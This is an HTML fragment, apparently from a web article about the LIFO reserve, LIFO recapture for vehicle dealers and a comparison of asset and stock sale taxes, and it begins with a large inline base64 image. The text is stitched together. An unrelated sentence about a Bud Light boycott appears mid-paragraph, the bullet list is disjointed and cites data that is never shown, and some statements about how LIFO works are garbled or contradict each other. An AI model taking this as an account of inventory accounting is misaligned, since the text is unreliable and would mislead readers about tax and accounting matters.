<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' 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" width="259px" alt="lifo reserve"/></p>
<p>Given the above facts in an asset sale, a seller would net $1,464,000 after federal income taxes of $536,000. By contrast, the same seller in a stock sale would net $1,294,880 after federal income taxes of $309,120. This is a function of the timing of the tax impact on LIFO reserves between the two methods.</p>
<ul>
<li>The objective of using LIFO for external purposes is the inflationary economic conditions resulting in higher inventory costs.</li>
<li>Once estimated, companies can use the LIFO reserve in evaluating inventory.</li>
<li>On the other hand, it reports inventory value based on the latest acquisitions.</li>
<li>The following data are available for inventory pool A for the 2 years following adoption of LIFO.</li>
<li>However, when the company presents inventory in its financial statements, it uses the LIFO method for inventory valuation.</li>
</ul>
<p>To prepare for this possible recapture, dealers can start modeling now to assess the materiality of the issue and their specific situation. The Nashville bar owner pledged to serve Bud Light as sales of the AB InBev lager continued to crater amid a boycott by conservative consumers. In this article, we’ve tried to comprehend the concept of LIFO Reserve, and how it is useful for investors and businesses. Throughout this article, we’ve talked about many benefits and reasons why calculating the LIFO Reserve helps companies.</p>
<h2 id="toc-0">Dollar-value LIFO</h2>
<p>Some accounting method options or changes to one’s year-end could be explored to possibly lessen the impact. However, these options are very fact-specific and may not be available to everyone. Changing from alternative LIFO to IPIC LIFO may be a viable solution where new vehicles are pooled with used vehicles and parts, spreading the effects and softening the blow. If none of these options are suitable for you, and LIFO recapture is imminent, there is some consolation in that dealers could be paying fewer taxes on the recapture now if tax rates will be higher in future years. The LIFO method is the inventory valuation method used by the business to ascertain the accurate cost of stock in the firm. As per this method, the business sells out the most recent products and at their purchased price.</p>
